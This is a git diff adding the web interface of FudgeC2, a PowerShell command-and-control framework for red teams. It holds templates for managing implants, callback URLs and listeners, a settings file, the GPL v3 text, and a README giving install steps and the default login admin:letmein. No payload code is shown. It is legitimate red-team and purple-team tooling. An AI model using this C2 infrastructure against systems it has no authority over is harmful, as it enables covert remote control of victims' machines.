+{% endblock %} + diff --git a/FudgeC2/ServerApp/templates/auth/LoginPage.html b/FudgeC2/ServerApp/templates/auth/LoginPage.html new file mode 100644 index 0000000..b4ef37d --- /dev/null +++ b/FudgeC2/ServerApp/templates/auth/LoginPage.html @@ -0,0 +1,30 @@ +{% extends "HeaderTemplate.html" %} +{% block NavbarBlock %} + + + +
+
+
+ + +{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/auth/PasswordResetPage.html b/FudgeC2/ServerApp/templates/auth/PasswordResetPage.html new file mode 100644 index 0000000..66c373d --- /dev/null +++ b/FudgeC2/ServerApp/templates/auth/PasswordResetPage.html @@ -0,0 +1,29 @@ +{% extends "HeaderTemplate.html" %} +{% block NavbarBlock %} + +
+ +
+ + +{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/implant/ActiveImplants.html b/FudgeC2/ServerApp/templates/implant/ActiveImplants.html new file mode 100644 index 0000000..909a490 --- /dev/null +++ b/FudgeC2/ServerApp/templates/implant/ActiveImplants.html @@ -0,0 +1,42 @@ +{% extends "ImplantMain.html" %} +{% block main2 %} + +
+

Active Implant Information: {{ campaign }}

+

Dev note: This is an early work in process to allow users to review all data collected by an active implant.

+ + {% if imp %} + + + + {% else %} +

No active implants found. Phish harder.

+ {% endif%} + + {% if render %} +
+
    +
  • Generated Title: {{ render.generated_title }}
  • +
  • Description: {{ render.description }}
  • +
  • Callback URL: {{ render.callback_url }}
  • +
  • Initial callback delay: {{ render.initial_delay }}
  • +
  • Obfuscation level: {{ render.obfuscation_level }}
  • +
+ Implant code +
{{ render.implant_copy }}
+ +
+ Records for implant: + {% endif %} +
+{% endblock %} + diff --git a/FudgeC2/ServerApp/templates/implant_input.html b/FudgeC2/ServerApp/templates/implant_input.html new file mode 100644 index 0000000..74ed71a --- /dev/null +++ b/FudgeC2/ServerApp/templates/implant_input.html @@ -0,0 +1,60 @@ +{% extends "ImplantMain.html" %} +{% block main2 %} + +
+
+ + + + + +
+ +
+ + +
+ +
+ + +
+ + +
+
+
+
+
+
+
+
Implant state
+
+
+
+
Queued commands
+ +
+ No awaiting commands +
+
+
+
+
+
Command results:
+
+
+
+ + +{% endblock %} + diff --git a/FudgeC2/ServerApp/templates/listeners/listeners.html b/FudgeC2/ServerApp/templates/listeners/listeners.html new file mode 100644 index 0000000..8322771 --- /dev/null +++ b/FudgeC2/ServerApp/templates/listeners/listeners.html @@ -0,0 +1,100 @@ +{% extends "BaseNavbar.html" %} +{% block main %} + +
+
+
+ {% with messages = get_flashed_messages() %} + {% if messages %} + {% for msg in messages %} +
{{ msg }}
+ {% endfor %} + {% endif %} + {% endwith %} +
+ {% if notification %} + +
Notice: {{ notification }} + +
+ {% endif %} +

Listeners

+

All listeners can be created, started, and stopped from here.

+
+
Configured listeners:
+

+ {% for key_2 in test_data %} + Name: {{ test_data[key_2].common_name }}
+ Protocol: {{ test_data[key_2].type }}
+ Port: {{ test_data[key_2].port }}
+ {% if test_data[key_2].state == True %} + State: Running
+

+ {% elif test_data[key_2].state == False %} + State: Stopped
+
+ {% endif %} + +
+ {% endfor %} + + +
+ + + + +
+
+{% endblock %} \ No newline at end of file diff --git a/FudgeC2/ServerApp/templates/settings/CampaignSettings.html b/FudgeC2/ServerApp/templates/settings/CampaignSettings.html new file mode 100644 index 0000000..acfe85d --- /dev/null +++ b/FudgeC2/ServerApp/templates/settings/CampaignSettings.html @@ -0,0 +1,43 @@ +{% extends "ImplantMain.html" %} +{% block main2 %} + +
+

Settings

+
Existing Implants & Stagers: {{ campaign }}
+ + {% if users %} +
User Access Rights
+ {% set count = namespace(a=0) %} +
+ {% for user in users %} +
+ {{ user.user }} + +
+ + +
+
+ + +
+
+ + +
+
+ + {% set count.a = count.a + 1 %} +
+ {% endfor %} + +
+ {% else %} +
+

Notice::No extra users.

+
+ {% endif %} + +
+{% endblock %} + diff --git a/FudgeC2/ServerApp/templates/settings/GlobalSettings.html b/FudgeC2/ServerApp/templates/settings/GlobalSettings.html new file mode 100644 index 0000000..47ddee9 --- /dev/null +++ b/FudgeC2/ServerApp/templates/settings/GlobalSettings.html @@ -0,0 +1,78 @@ +{% extends "BaseNavbar.html" %} +{% block main %} + +
+
+

Global Settings


+

User Management


+
+
+ + + +
+
+ + +
+ +
+ +
+
Disable User

+

TODO: Generate a list of with enable/disabled check boxes for any admin users. Ensure "self-disabling" cannot happen.

+ +
+
Logs

+
+
Number of records:0 items
+
+ +
+
+ + + + + + + + + + + {% for x in logs %} + + + + + + {% endfor %} + +
TimeTypeRecord
{{x.time}}{{ x.type }}{{ x.data }}
+
+ + + + +
+{% endblock %} \ No newline at end of file diff --git a/FudgeC2/Storage/settings.py b/FudgeC2/Storage/settings.py new file mode 100644 index 0000000..4d416a6 --- /dev/null +++ b/FudgeC2/Storage/settings.py @@ -0,0 +1,17 @@ +class Settings: + version = "0.5.0" + version_name = "Goblin Alchemist" + # If the database does not exist it will be created in Storage/.sql + database_name = "fudge_c2.sql" + # The port which FudgeC2 will run on. This will remove the port from available listener ports. + server_app_port = 5001 + # For Flask implemented HTTPS set value to 'adhoc'. For HTTP set value to None + server_app_ssl = None # 'adhoc' + # This should be set to False for any non-development/testing deployments. + server_app_debug = True + # Cert & key file names used for TLS connections. These should be PEM formatted. + # Files will be stored in: '/FudgeC2/Storage'. + tls_listener_cert = "server.crt" + tls_listener_key = "server.key" + # This is the folder in which all implant file download will be sent to. + file_download_folder = "./Storage/campaign_downloads/" \ No newline at end of file diff --git a/FudgeC2/Storage/version.txt b/FudgeC2/Storage/version.txt new file mode 100644 index 0000000..79a2734 --- /dev/null +++ b/FudgeC2/Storage/version.txt @@ -0,0 +1 @@ +0.5.0 \ No newline at end of file diff --git a/FudgeC2/requirements.txt b/FudgeC2/requirements.txt new file mode 100644 index 0000000..a4f0eb1 --- /dev/null +++ b/FudgeC2/requirements.txt @@ -0,0 +1,5 @@ +flask==1.0.2 +flask_sqlalchemy==2.3.2 +flask_login==0.4.1 +bcrypt==3.1.6 +requests=2.21.0 \ No newline at end of file diff --git a/FudgeC2Viewer/FudgeC2Viewer.py b/FudgeC2Viewer/FudgeC2Viewer.py new file mode 100644 index 0000000..e5b615e --- /dev/null +++ b/FudgeC2Viewer/FudgeC2Viewer.py @@ -0,0 +1,16 @@ +# Upload, +# display + + +# page for uploading/main page - Upload endpoint +# return view page +# view page reject if no upload +# display and filter campaign based on what user wants. + + +# functions +# database +# decrytpt +# load database +# how to understand Schema? +# dump to viewer page. diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..f373bef --- /dev/null +++ b/README.md @@ -0,0 +1,67 @@ +

+ +

+ + +# FudgeC2 +[![Commit Activity](https://img.shields.io/github/commit-activity/m/ziconius/fudgec2)](https://github.com/ziconius/FudgeC2/graphs/commit-activity) +[![Code Quality](https://img.shields.io/codeclimate/maintainability-percentage/Ziconius/FudgeC2)](https://codeclimate.com/github/Ziconius/FudgeC2) +[![Licence](https://img.shields.io/github/license/ziconius/fudgec2)](https://github.com/ziconius/FudgeC2/blob/master/LICENSE.txt) +[![Stars](https://img.shields.io/github/stars/ziconius/fudgec2)](https://github.com/Ziconius/FudgeC2/stargazers) + + +FudgeC2 is a Powershell command and control platform designed to facilitate team collaboration and campaign timelining. This aims to help clients better understand red team activities by presenting them with more granular detail of adversarial techniques. + +Built on Python3 with a web frontend, FudgeC2 aims to provide red teamers a simple interface in which to manage active implants across their campaigns. + +_FudgeC2 is currently in beta, and should be used with caution in non-test environments. The beta was released at [BlackHat Arsenal USA 2019](https://www.blackhat.com/us-19/arsenal/schedule/index.html#fudge-a-collaborative-c-framework-for-purple-teaming-16968)._ + +### Installation + +To install and configure FudgeC2 run the following: + +``` +git clone https://github.com/Ziconius/FudgeC2 +cd FudgeC2/FudgeC2 +sudo pip3 install -r requirements.txt +sudo python3 Controller.py +``` +This will generate a new database, and first time credentials. You will then be able to access the platform from *http[s]://127.0.0.1:5001/*. The logon credentials are: + +`admin`:`letmein` + +For more information on installation and configuration see the wiki, [here](https://github.com/Ziconius/FudgeC2/wiki/Installation-and-Setup). + +### Usage + +FudgeC2 breaks projects down into campaigns. Each campaign will have a their own implant templates, active implants, users, and targets. + +Once you have generated a campaign and implants you will be able to interact with any active implants from the campaign specific homepage. This can be reached by clicking on the campaign name in the Campaign column, or via the Campaigns dropdown in the top navigation menu. + + +![Homepage](https://user-images.githubusercontent.com/6460785/68624234-4b38a900-04ce-11ea-95dc-a2253dec4ace.png) + +An overview of functionality can be seen below, 